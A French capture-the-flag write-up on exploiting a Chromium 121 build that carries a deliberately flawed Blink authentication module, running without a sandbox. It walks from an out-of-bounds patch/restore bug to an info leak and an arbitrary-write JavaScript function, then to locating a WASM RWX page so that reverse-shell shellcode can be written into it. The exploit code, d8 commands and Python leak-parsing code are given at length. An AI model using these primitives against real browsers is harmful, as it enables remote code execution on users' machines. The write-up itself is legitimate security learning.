Étape 4 - Hic Jacet Chromium
Description
Thanks to your help, we have been able to forge signatures and chat with other members from the target organization.
More particularly, by impersonating the DEV, we have now established a privileged communication channel with the boss! After a bit of chatting with Emerald we had more details about the mission he was asking for:
EMERALD> I need your help to build my new secret web page. My cousin Bonarium is working on a highly secure browser project. He sent me a brand new Chromium shipped with an additional authentication module. It's still in development, but I want you to test it to make sure he's not scamming me once again.
DEV> Okay, how should I proceed? Do you want me to send you the code directly?
EMERALD> Yes, just send me a POST request containing the webpage contents and I'll try it locally as soon as possible. Hurry up, I need it fast. You can download the material needed here. It contains the code Bonarium added and the binaries you will need.
DEV> Trying to run it right now but I'm not sure which flags to use...
EMERALD> You can't do anything on your own, can you? Bonarium told me to use --no-sandbox --headless=new --disable-gpu to speed up my browsing experience. Don't know what it means, but I hope he's right or I'm definitely firing him this time.
We have been informed that Bonarium is the worst developer ever born. This may very well be our shot to hack the boss' browser and get a reverse shell on his machine. We've never been this close to reaching our goal. Good luck, you got this!
Résolution
Pour cette étape, il est demandé de compromettre l’environnement browser d’Emerald, le boss, qui utilise un chromium sans sandbox (heureusement). De plus, il utilise un module tier d’authentification.
On nous donne les sources du module tier, un installeur de chromium utilisant le module, les symboles (.pdb) associés, assez volumineux (pas inclus dans les fichiers avec cette solution, mais peut-être rendus directement accessibles plus tard).
Le challenge est ainsi clair : compromission d’un navigateur connu basé sur v8, en boîte blanche. Sûrement le challenge le plus dur de l’ensemble, surtout quand on découvre cette pièce logicielle.
Disclaimer : vu la complexité globale de V8, des approximations et des oublis seront présents dans ce write-up, ainsi que des questions ouvertes qui pourraient être résolues par une compréhension plus fine des différents mode d’allocation et des abstractions fournies par le moteur. On se concentre ici sur l’essentiel pour comprendre la résolution de l’étape.
Setup
Avoir un bon setup pour cette étape est cruciale, car on peut prévoir qu’on va avoir besoin de relancer de nombreuses fois l’exploit avant d’avoir quelque chose de fonctionnel.
Un fichier d’installation mini_installer.exe
est fourni qui paramètre tout ce qui est nécessaire pour lancer chromium dans C:\Users\[...]\AppData\Local\Chromium\Application\121.0.6167.180
.
Le concepteur de l’étape a été plutôt clément, puisqu’il donne le .pdb associé à chromium.dll (particulièrement volumineux : 4.5Go) qui contient tout les symboles qu’on pourrait être amené à résoudre.
Utiliser windbg est donc conseillé (du moins au départ) :
.sympath cache*;C:\Users\[...]\AppData\Local\Chromium\Application\121.0.6167.180
.reload
On peut ensuite accéder aux symboles souhaités, par exemple ceux définis dans le module blink additionnel :
x chrome!blink::Authenticator::Authenticate
0x0007fffa0b52224 chrome!blink::Authenticator::Authenticate
Finalement (cf. post-mortem tout en bas), il est très très très très très fortement conseillé d’installer d8, en suivant les instructions disponibles ici. Au départ rebuté par le temps d’installation, c’est vraiment un impératif pour comprendre la structuration des objets JavaScript qu’on a sous les yeux par la suite.
NOTE: Installez d8, vraiment. Si tous les write-ups le mentionnent, c’est qu’il y a une raison.
Quelques éléments de contexte
La version de chromium fournie est la version 121.0.6167.180 déployée le 12 février 2024. Bien que cela soit sûrement plus difficile que de résoudre le challenge de la manière légitime, on peut toujours chercher des vulnérabilités récentes impactant le composant et divulguée entre la date de release et le moment de résolution du challenge.
Cette piste peut être abandonnée rapidement après avoir jeté un coup d’oeil au code source fourni (et de toute façon ça n’est pas très honnête).
Le module fourni est un module blink, qui est notamment utilisé pour, euh, rendre tout ce qui est affiché par le navigateur (rien de moins) :
Blink is a rendering engine of the web platform. Roughly speaking, Blink implements everything that renders content inside a browser tab
Cela inclut notamment l’exécution de V8 et la possibilité de définir des nouveaux objets JS qui sont utilisables depuis les scripts exécutés.
La documentation d’introduction disponible à l’adresse suivante définit les concepts de base et notamment le concept de Web IDL binding
qui permet de faire la liaison entre des objets manipulables en JavaScript et des objets définis en C++ (par exemple, appeler a.b() en JavaScript peut être équivalent à appeler A::b() dans l’objet C++ défini dans a.h). Pour cela, un fichier IDL (interface description language) doit être écrit pour fournir la correspondance.
The syntax of Web IDL is defined in the Web IDL spec. […] is called IDL extended attributes. Some of the IDL extended attributes are defined in the Web IDL spec and others are Blink-specific IDL extended attributes. Except the Blink-specific IDL extended attributes, IDL files should be written in a spec-conformant manner (i.e., just copy and paste from the spec).
Ensuite, l’objet défini doit hériter de ScriptWrappable
pour être lié et appelable. C’est le cas ici pour deux objets :
- AuthenticationData, qui expose 4 méthodes :
- constructor(BufferSource input, bigint end_of_authenticode, unsigned long long authentication_method, bigint delimiter)
- void setEndOfAuthenticode(bigint end_of_authenticode);
- void setDelimiter(bigint delimiter);
- void setAuthenticationMethod(unsigned long long authentication_method);
- Authenticator, qui en expose 5 :
- constructor(DataView key);
- [RaisesException] DOMString Authenticate(AuthenticationData authentication_data);
- boolean get_authentication_status();
- DOMString get_authentication_data_info();
- ArrayBufferView getKey();
L’objet Authenticator n’expose (malheureusement) pas 2 méthodes publiques AuthenticationData::patch_value et AuthenticationData::restaure_value dans le fichier de définition des interfaces, ce qui va complexifier les choses comme on le verra plus tard.
Basiquement, le workflow supposé pour utiliser le module est le suivant :
- on crée une instance AuthenticationData avec des paramètres arbitraires ;
- on crée une instance Authenticator avec une dataview arbitraire ;
- puis on appelle la méthode Authenticate de l’instance Authenticator en donnant la première instance AuthenticationData en argument.
Ce qui se passe lors du dernier appel est l’enchaînement suivant :
- la fonction patch_value de l’objet AuthenticationData passé en argument est appelée ;
- en fonction de la valeur de la méthode d’authentification (get_authentication_method), différentes méthodes sont appelées mais ces dernières n’ont aucun effet (retournent une constante) ;
- la fonction restaure_value de l’objet AuthenticationData passé en argument est appelée ;
La fonction patch_value
a pour effet :
- de sauvegarder la valeur
authenticode_[end_of_authenticode_]
dans un attributsaved_value_
où :- authenticode_ est un tableau de 32 octets attribut de l’instance AuthenticationData concernée ;
- end_of_authenticode_ est un attribut paramétré par une donnée utilisateur au moment de la construction de l’objet ;
- de remplacer
authenticode_[end_of_authenticode_]
par l’attribut delimiter_ (également passé en argument du constructeur au moment de la construction de l’instance).
Le tout en fonction de la valeur de l’attribut authentication_method_ lui aussi paramétré au moment de la construction de l’instance (en fonction de cet attribut, 0, 1, 2, 4 ou 8 octets sont lus / réécrits).
Quant à la fonction restaure_value
, elle réalise l’effet inverse, c’est-à-dire qu’elle remet la valeur pointée par saved_value_
dans la case authenticode_[end_of_authenticode_]
.
La vulnérabilité est donc immédiatement visible : en choisissant bien un offset end_of_authenticode_
, on réécrit des données à l’adresse du buffer authenticode_
à laquelle on ajoute la valeur de end_of_authenticode_
qu’on contrôle, sur 8 octets.
Cerise sur le gateau : la fonctionnalité de restaure
utilise la valeur _saved state qui est lue depuis l’emplacement à réécrire. Cette valeur n’est pas réinitialisée, et on peut l’afficher lors de l’appel à la méthode get_authentication_data_info
depuis l’instance Authenticator, ce qui fournit un beau leak info.
On peut donc facilement générer un premier crash :
var ad = new AuthenticationData(new DataView(new ArrayBuffer(32)), BigInt("0x28"), 3, BigInt("0x6565656463636261"));
var auth = new Authenticator(new DataView(new ArrayBuffer(32)));
var res = auth.Authenticate(ad);
console.log(auth.get_authentication_data_info());
var ad = new AuthenticationData(new DataView(new ArrayBuffer(32)), BigInt("0xaaaaaaaa"), 3, BigInt("0x6565656463636261"));
var auth = new Authenticator(new DataView(new ArrayBuffer(32)));
var res = auth.Authenticate(ad);
Tadaaa, on a fini ! (euh, presque)

Premières pistes d’exploitation
On nous offre donc une primitive d’écriture et de lecture arbitraire, alors même qu’on n’avait rien demandé. Toutefois, ces primitives sont limitées par les deux aspects suivants :
- La primitive d’écriture est limitée par le fait que les données sont restaurées à la fin de l’écriture, donc aucune persistance n’est envisageable de prime abord ; soit il va falloir gagner une race (ou plutôt plusieurs) ce qui risque de s’avérer un calvaire, soit il faut étendre la primitive pour avoir une écriture persistante ;
- La primitive de lecture est quant à elle limitée par l’écriture qui survient auparavant. Ainsi, toute lecture de donnée ne pourra se faire que dans une zone écrivable (donc au moins RW). Cela va limiter les pistes potentielles de leak par la suite (par exemple toutes les tables de résolution d’import en lecture seule ne pourront pas être lues de cette manière).
Bref, alors que la seconde contrainte semble pour le moment non critique, on sait qu’on va devoir dans tous les cas étendre la primitive d’écriture pour avoir une persistance fiable. Exploiter des races conditions n’étant pas mon passe temps favori, j’ai opté pour la piste de recherche consistant à bien comprendre l’ensemble des interactions provoquant l’écriture et la restauration des données pour voir si on ne pouvait pas exploiter ça.
A ce moment, faire des beaux schémas de ce qu’on a comme organisation des objets au moment de l’exploitation de l’écriture arbitraire peut s’avérer très utile. Je n’aime pas du tout la lenteur terrible et l’UI catastrophique de windbg que je n’ai pas voulu trop creuser (principalement vu la lenteur de chargement de tous les symboles à chaque pause j’ai l’impression). Du coup, j’ai préféré utiliser x64dbg qui, même si je n’ai pas réussi à charger le pdb avec, qui est beaucoup plus intuitif et UI-friendly. Voici ce qu’on observe au moment du crash :

On peut clairement observer :
- L’aspect contigü des objets AuthenticationData et Authenticator ;
- Les attributs de ces classes quand on met en comparaison de la définition qui est fournie dans le code source.
Un schéma récapitulatif est donné ci-dessous :

Le premier et second pointeurs de chaque objet sont les seuls éléments en lien avec l’aspect d’objet JavaScript des éléments qu’on manipule, il s’agit du pointeur vers le type de l’objet (Map), et du pointeur vers les propriétés (properties) de l’objet. Une description particulièrement détaillée et intéressante est fournie dans un write-up de jhalon pour mieux comprendre ces internals V8. De manière générale, l’ensemble des moteurs JavaScript connus implémentent ce type de description des objets en mémoire. Le concept de forme (shape) est particulièrement intéressant puisqu’il permet de nombreuses optimisations par la suite. Toutefois, la vulnérabilité étant ici triviale, pas besoin de trop s’intéresser à ces mécanismes de stockage interne, car pas besoin d’exploiter de confusion de type ou autre subtilité d’un moteur d’optimisation parmi les nombreux existants (Maglev, TurboFan ou encore Sparkplug pour v8 pour ne citer qu’eux, par exemple).
Revenons-en au principal. Ici, lorsqu’on a demandé lors de la première déclaration d’un AuthenticationDataBigInt(“0x28”), on peut constater qu’on a bien fait fuiter l’adresse du composant à l’offset 0x28 après le début du tableau authenticode_, c’est à dire le pointeur Map (Authenticator)
. Il s’agit d’un pointeur vers une VTable dans chrome.dll, ce qui est intéressant à noter pour la suite.
Quant aux propriétés de l’objet, elles sont stockées sur le tas, mais à une autre valeur de addr&0xffffffff00000000 que l’objet AuthenticationData étudié, comme on peut également le voir au moment du crash sur la capture précédente.
Point d’attention: Ce concept de (addr&0xffffffff00000000) et la séparation logique de zones du tas des adresses des différents objets JavaScript par leur 32 bits de poids fort constitue le coeur du mécanisme de protection qui sera détaillé plus bas et nommé “pointer compression”.
Ce mécanisme de pointer compression se manifeste d’ailleurs ici pour deux objets stockés dans l’objet Authenticator :

Cela ne saute pas aux yeux, mais sur la capture précédente, les 32 bits encadrés en bleu en haut (0x800980B4) correspondent à l’adresse pointée par la flèche de l’objet AuthenticationData (0x438900130168).
(compressed * 2 & 0xffffffff) + bits de poids fort de l’objet courant
(0x800980B4 * 2 & 0xffffffff) + 0x438900000000 = 0x438900130168
Le second objet correspond lui à l’attribut key_ qui stocke la dataview passée en argument lors de la construction de l’authenticator :

(0x80083CC4 * 2 & 0xffffffff) + 0x438900000000 = 0x438900107988
On peut observer à la fois un pointeur (raw cette fois) vers une zone de donnée contenant les données de la vue, et la taille du buffer, bien 0x20 ici. L’idée naturelle qui vient alors est de modifier ce pointeur pour pouvoir avoir une dataview qui pointe sur n’importe quel type de données et puisse servir à une primitive de lecture arbitraire non limitée, voire à une primitive d’écriture complète également ?
Relaxer des contraintes
Continuons la recherche d’une écriture de données stable. On a vu que le mécanisme patch/restaure effectue deux écritures de données l’une après l’autre depuis le même objet authenticated_data_ d’un authenticator. Les deux fonctions se basent sur les attributs end_of_authenticode_ pour obtenir la case à réécrire ou à remettre à son état d’origine. Mais que se passe-t-il si entre les deux appels, le pointeur vers authenticated_data_ est modifié ? Il s’avère que dans ce cas la fonction restaure remet en place des données autres et à un autre offset que lors de la fonction patch !
Très utile, même si de base ça n’est pas contrôlé et provoque le crash du renderer chromium, lorsqu’on cible le pointeur d’un AuthenticationData dans un Authenticator (authenticode_ + 0x38) au moment du patch.
On peut alors chercher à contrôler de la manière suivante :

Pour faciliter la suite on veut une fonction write qui soit autonome. Pour ça, on peut réaliser une étape en plus de leak avant de réaliser l’enchaînement décrit. Les opérations réalisées sont donc les suivantes :
- Création d’un AuthenticationData
ad
ciblant une zone safe pour un Authenticator alloué juste après (c’est-à-dire n’importe quoi sauf authenticode_ + 0x38 et qui reste “proche”) ; - Allouer un Authenticator
auth
dans la foulée, et Authenticate avec l’AuthenticationData précédemment créé ; - Pointer
ad
vers authenticode_ + 0x38 cette fois ; - Allouer un second Authenticator
auth2
, et Authenticate surad
. Comme le leak cibleauth
et pasauth2
, il n’y a pas de risque de crash potentiel, et on a un leak de l’adresse dead
valide ; - Avec ce leak, calculer un nouveau buffer cible : préparer l’écriture arbitraire en calculant la différence entre l’emplacement de l’adresse ciblée et le leak précédemment acquis ; cela prend la forme détaillée dans le schéma du fake AuthenticationData ;
- Créer un nouvel AuthenticationData
ad2
basé sur ce buffer, les données sont copiées à l’adresse dead2
+ 0x30 ; on cible encore une fois le buffer authenticode_ + 0x38, avec la valeur qui correspond à l’adresse leakée corrigée pour pointer sur le buffer en question ; - Créer un nouvel Authenticator
auth3
, et Authenticate surad2
. La première écriture (patch) va désynchroniser l’adresse d’ad2
dansauth3
pour pointer 0x20 bytes plus loin. Lors de la seconde écriture (restaure), l’objet est “décalé” et les valeurs en provenance de l’utilisateur sont prises comme base pour l’offset et la valeur à réécrire, aboutissant à une écriture arbitraire (presque) stable.
NOTE: Presque stable car dans un premier temps seules quelques écritures étaient réalisées. Avec l’augmentation du volume de données à réécrire notamment à la fin de l’exploit, la stabilité de l’ensemble a brusquement chuté. Le problème a été adressé de manière non formelle.
Voici le schéma global qui récapitule une écriture arbitraire :

Le code qui en résulte (à noter que la variable globale authpivotLeaked
doit avoir précédemment été configurée avec les bits de poids fort de la zone de tas hébergeant les AuthenticationData / Authenticator) :
function write8At(targetAddrBigInt, toWriteBigInt) {
var ab = new ArrayBuffer(32);
var ad = new AuthenticationData(ab, BigInt(0x10), 3, BigInt("0xdeadbeef"));
// attacking one (fake for the moment, we do not have leak (we want standalone OK))
var auth = new Authenticator(new DataView(ab));
.Authenticate(ad); // 0x10 just not to crash but associate the buffer at this stage
auth
// reference one to leak the buffer for current location, values does not matter
var auth2 = new Authenticator(new DataView(ab));
.setEndOfAuthenticode(BigInt(0x38));
advar authres = auth2.Authenticate(ad); // the second one will not fail as below in memory
var parsedLeak = parse(auth2.get_authentication_data_info());
var bigIntLeak = BigInt(parsedLeak);
var highbits = BigInt("0xffffffff00000000") & authpivotLeaked;
var leakToRealAddr = ((BigInt(2) * bigIntLeak) & BigInt(0xffffffff)) + highbits;
var targetFinal = targetAddrBigInt - leakToRealAddr - BigInt(0x20 + 0x58*3 + 0x30); // final 0x30 offset
if (targetFinal < BigInt(0)) {
+= BigInt("0x10000000000000000");
targetFinal
}
var arrayToWrite2 = [targetFinal, toWriteBigInt,
BigInt(0), BigInt(0x20) + BigInt(0x300000000)];
var ab2 = new ArrayBuffer(32);
var charbuf2 = new Uint8Array(ab2);
for (j=0; j<4; j++) {
var toBytes = bigIntToBytes(arrayToWrite2[j]);
for (i=0; i<8; i++) {
*8 + i] = toBytes[i];
charbuf2[j
}
}
// just fall 0x20 further for desync, plus 3x 0x58 for each block inbetween the leaked addr
var ad2 = new AuthenticationData(ab2, BigInt(0x38), 3, bigIntLeak + BigInt(0x10 + (0x58*3/2)));
var auth3 = new Authenticator(new DataView(ab2));
.Authenticate(newad2);
auth3 }
Le chemin de croix
A ce stade, on a une écriture persistante arbitraire. Essentiellement deux possibilités s’offrent à nous :
- Construire une primitive de leak stable et valable sur des zones read only, puis leak leak leak tous les éléments (et notamment les tables de résolutions d’import (IAT) de chrome.dll, qui référence ntdll.dll et kernel32.dll) qui permettent de remonter à l’adresse du PEB (via parsing de la fonction LdrInitializeThunk de ntdll), au thread actuel, et à la stack de notre thread qui contient l’adresse de retour de notre fonction courante, pour faire un stack pivot et ROP avec une chaîne créée sur la base du leak de kernel32.dll. C’est bourrin mais assez systématique. Seuls soucis : complexe à mettre en oeuvre et nécessite de construire une autre primitive.
- Utiliser une méthode d’écriture de code “légitime” via des objets JavaScript :
- Soit via l’écriture d’une fonction JavaScript qui une fois Jitted contient notre shellcode (déjà exploité sur Spidermonkey précédemment et qui marche a priori) ;
- Soit via la technique utilisée dans la plupart des write-ups récents à savoir réécrire le code d’une zone RWX associée à un objet WebAssemblyInstance, dont on fait fuiter l’adresse via la primitive de lecture partielle à notre disposition.
C’est donc sur cette dernière piste que je me suis engagé, déterminé à trouver où pourrait être stockée cette zone quand on déclare une instance WASM. L’avantage est qu’une fois la zone localisée, en théorie il suffit juste d’écrire son shellcode à la place, puis d’appeler la fonction WASM, c’est donc plus “idiomatique” pour ce genre d’exploit.
Voici les étapes du script final :
- Leak des blocs de données avant un AuthenticationData fixe, collecte d’adresses et statistiques : à l’issue de cette étape on récupère un pointeur vers le tas courant, et des pointeurs vers chrome.dll ;
- Leak des variables V8HeapCompressionScheme::base_ et ThreadIsolation::trusted_data_ (moins sûr pour celui là, mais résolu comme tel par windbg) ;
- Calcul de l’adresse exacte du buffer courant utilisé pour le leak, transformation d’un leak relatif en un leak absolu ;
- Tentative de localisation d’un objet tableau qui contient des constantes plus notre instance WASM dans la deuxième zone de tas, à un offset fixé empiriquement (c’est l’étape qui a le plus de chance d’échouer en raison des “trous” dans cette deuxième zone de heap et des crashs qui sont susceptibles de survenir par tentative d’accès à une zone non existante) ;
- Récupération de l’offset de la fonction RWX défini dans l’instance WASM, déréférencement par rapport à l’Isolate courant ;
- On écrit notre shellcode à la place du contenu courant dans la zone RWX ;
- On appelle notre instance WASM, qui déclenche le shellcode.
leakez, leakez, il en restera toujours quelque chose
Pour cette dernière partie, la démarche est sûrement plus intéressante que le résultat, la voici exposée dans les grandes lignes.
Fuiter le contenu de la base du tas
On commence doucement. Le pointeur V8HeapCompressionScheme::base_ peut être récupéré dans la section data de chrome.dll, à offset fixe :

Localiser l’instance WASM
Comme des tableaux ou des objets JavaScript “provenant de l’exécution de scripts”, les instances WASM sont localisées dans la même zone de tas à partir du pointeur V8HeapCompressionScheme::base_ afin de pouvoir appliquer le mécanisme de protection et d’optimisation.
(une partie de la suite est réalisée dans d8 sous Ubuntu, mais c’est les mêmes layouts sous Windows)
gdb ./out.gn/x64.debug/d8
r --allow-natives-syntax
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,43,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
for(i=0;i<0x1000;i++){f()}
%DebugPrint(f)
var ar = [1, 2, 3];
var obj = {};
%DebugPrint(ar)
%DebugPrint(obj)
// heap base is 0x33e9
0x33e900299e19
0x33e90004c9d1
0x33e90004ca1d
Petite subtilité, dans notre cas les objets AuthenticationData / Authenticator ne sont pas dans la même zone de tas. Je n’ai pas creusé pour comprendre qu’est ce qui implique qu’un objet est placé dans telle ou telle zone (ici vu que c’est un module blink dédié j’imagine que cela provient de là). Il ne semble pas non plus y avoir de lien direct entre les objets qu’on manipule (AuthenticationData et Authenticator) et des objets JavaScript “classiques” dans la zone de tas précédente. Lorsqu’on déclare une dataView qu’on lie à un AuthenticationData, l’objet reste cantonné dans ce tas.
Comme on n’a pas vraiment de pointeur facilement accessible à partir duquel itérer pour identifier ces objets, j’ai pris le parti dans un premier temps d’adopter une démarche empirique, en constatant en local que tous mes tableaux étaient alloués à proximité de l’adresse 0x4c000 ou 0x29000 après la base récupérée plus tôt.
C’est à cette étape que le script de résolution a le plus de chance d’échouer. En effet, l’espace de tas à partir de V8HeapCompressionScheme::base_ n’est pas contigü et il existe des espaces non alloués qui provoquent un accès mémoire invalide si on essaie de fuiter de l’information à ces niveaux.
On peut ainsi chercher un motif après avoir créé un tableau qui contient des constantes et notre instance WASM au milieu :
var ar1 = new Uint8Array(64);
50] = 0x67;
ar1[var ar2 = [0xddddeeaaaaaa, 0xddddeeaaaaab, 0xddddeeaaaaac, 0xddddeeaaaaad, ar1, 0xddddeeaaaaaa, 0xddddeeaaaaaa, 0xddddeeaaaaaa, 0xddddeeaaaaaa, 0xddddeeaaaaaa, 0xddddeeaaaaab, 0xddddeeaaaaaa, 0xddddeeaaaaaa, 0xddddeeaaaaaa, f, 0x88776655];
%DebugPrint(ar2)
On sait alors que si on retrouve une suite de valeurs 0x405555d5bdbbeb42 en mémoire on a retrouvé notre tableau :
'd', 0xddddeeaaaaaa).hex()
struct.pack('405555d5bdbbeb42'


En prenant l’élément correspondant à l’instance WASM on a réussi à obtenir l’adresse de l’instance une fois le pointeur décompressé :
for i in range(0, len(leak), 4):
= leak[i:i+4]
data if u32(data) == 0x20:
= False
bad for j in range(16):
if i+4+j*4+3 < len(leak) and leak[i+4+j*4+3] != 0 or leak[i+4+j*4+2] == 0:
= True
bad if not bad:
if leak[i+4+64:i+4+64+8] == b'\xb1\x07\x00\x00\x40\x55\x55\xd5':
print("[++++] Array located :), extracting the wasm function")
= u32(content[i+4+56:i+4+56+4])
wasm_func print(f"[+] WASM REL is {hex(wasm_func)}")
'wasm_abs'] = wasm_func + pwn_context['heap_base'] - 1
pwn_context[print(f"[+] WASM ABS is {hex(pwn_context['wasm_abs'])}")
Localiser maintenant la zone RWX
Une fois l’instance WASM localisée, ça n’est pas encore fini. En effet, l’exécution de code depuis cet objet n’est pas immédiate et il y a de multiples déréférencements entre le moment où l’objet est utilisé et où le pointeur vers la zone de code RWX est appelé.
La démarche pour trouver le plus rapidement possible quel est le chemin vers la zone RWX est de mettre un point d’arrêt en lecture sur la zone mémoire associée à l’objet et lorsque le point d’arrêt est atteint (après avoir appelé la fonction) à identifier le moment où un saut relatif à une donnée est réalisé (typiquement un jmp [reg]).

Heureusement, même si le nombre de pointeurs et des zones accédés entre le moment reste notable, le jump n’est pas très loin lorsqu’on est dans la fonction Builtins_CallFunction_ReceiverIsAny qui lit l’attribut en +0xc de WASMInstance pour calculer un offset dans une table de structures.
On peut aussi s’aider des symboles, de WinDBG et du code source de chromium pour retracer les différents éléments qui interviennent dans le calcul de l’adresse finale :
[…]

Le processus fait notamment intervenir une autre zone mémoire pas encore mentionnée relative à la gestion de l’exécution de code sous v8 et à la représentation des objets associés comme les fonctions, les fonctions Jittées, les fonctions WASM, … Je n’ai pas forcément cherché à comprendre non plus les subtilités et complexité des différents mode de résolution des pointeurs de fonction, juste à identifier ces pointeurs. Via un debug pas à pas en lisant le code source en même temps, on retrouve ainsi le pointeur initial dans la section .data de chrome.dll à offset fixe d’un pointeur précédemment obtenu.
Une fois le chemin entièrement constitué, ne reste plus "qu’à"" l’implémenter par leaks successifs.
NOTE : Il existe des chemins plus courts ou des objets plus intéressant à chercher, qui minimiseraient le risque d’échouer lors de la phase de recherche du motif. Malgré tout, ça marche assez régulièrement à distance (un peu moins en local pour une raison inconnue).
La fin
On termine par un shellcode directement mappé dans une zone RWX, pas forcément l’étape la plus dure toutefois j’ai été confronté à deux problèmes :
- Ma primitive d’écriture utilisée trop de fois d’affilée pour écrire 8 caractères par 8 caractères du shellcode ne permet pas souvent d’écrire tout le shellcode, j’imagine qu’elle doit être optimisée d’une certaine mesure par un des compilateurs Jit et que les comportements qu’elle exploite devienne moins reliable, quoiqu’il en soit après une bonne recherche Stackoverflow “Comment empêcher ma fonction d’être jittée” et l’implémentation de gros blocs
with({}); try {} catch(e) {}; eval('');
un peu partout dans la fonction d’écriture le problème a disparu ; - Petit détail technique mais la plupart des shellcodes qu’on trouve sur Internet n’alignent pas rsp sur un multiple de 0x10, et l’une des fonctions appelée typiquement dans les shellcodes de reverse shell (je ne sais plus c’est laquelle mais il me semble qu’elle est en lien avec l’API Winsock, sûrement WSAStartup) utilise des instructions SIMD qui ont ce prérequis, sous peine de provoquer une exception.
Finalement, en voulant remettre au propre l’exploit lors de l’écriture de ce write-up, il y avait une telle masse de code à reformater que j’ai cassé des bouts et que l’ensemble ne fonctionne plus … Je le laisse en exemple car aucune des opérations de pwn_context.py
n’a changé entre les deux versions même si c’est difficilement lisible.
J’ai laissé une trace complète d’exécution réussie dans fulltrace.txt
bien que ça ne présente pas non plus un intérêt énorme.
NOTE: A la réflexion, l’idée de base de dissocier un backend de l’exploit pour faciliter le contrôle de la gestion distante de l’état me parait discutable. L’overhead pour conserver une structure minimale fonctionnelle reste colossal par rapport à “juste” un exploit en JavaScript qui aurait fait tout d’un bloc. Je ne pense pas conserver cette approche pour plus tard malgré ses avantages comme le stockage des traces et des états rencontrés, le fait de pouvoir utiliser un langage avec lequel je suis plus à l’aise, et l’automatisation du processus global d’exploitation.
Aussi, quelques ressources et auteurs qui m’ont énormément aidé lors de la résolution de ce challenge pour savoir vers où chercher :
NOTE : On voit dans beaucoup de write-ups / blogposts les primitives addrof et fakeobj définies pour faciliter les exploitations ultérieures. En effet, lorsque ces deux primitives sont stables, on peut généralement automatiser en JavaScript et de manière plus simple les exploitations. Toutefois, ici vu le pointer compression en place, j’ai préféré ne pas prendre du temps pour implémenter ces primitives étant donné qu’on reste toujours dans notre zone de tas et que cela ne permettra pas d’en sortir a priori.
Analyse post-mortem
Pourquoi ne pas avoir utilisé d8 plus vite ? Le temps passé à faire des aller-retours entre les différentes fenêtres de débogage sans jamais avoir les informations des différents pointeurs entre objets, de devoir parcourir à la main les listes chaînées de propriétés, ou de calculer à la main les adresses véritables une fois les pointeurs décompressés, est monstrueux au regard du temps passer à déboguer une fois d8 en place, malgré son temps de compilation.
On trouve plus rapidement les chaînages pertinents pour identifier les zones RWX depuis un objet WASMInstance, et on peut vérifier en live dans GDB que c’est bien des parcours de pointeurs compressés qui mènent à l’objet recherché. Bref, surtout ne faites pas la même erreur.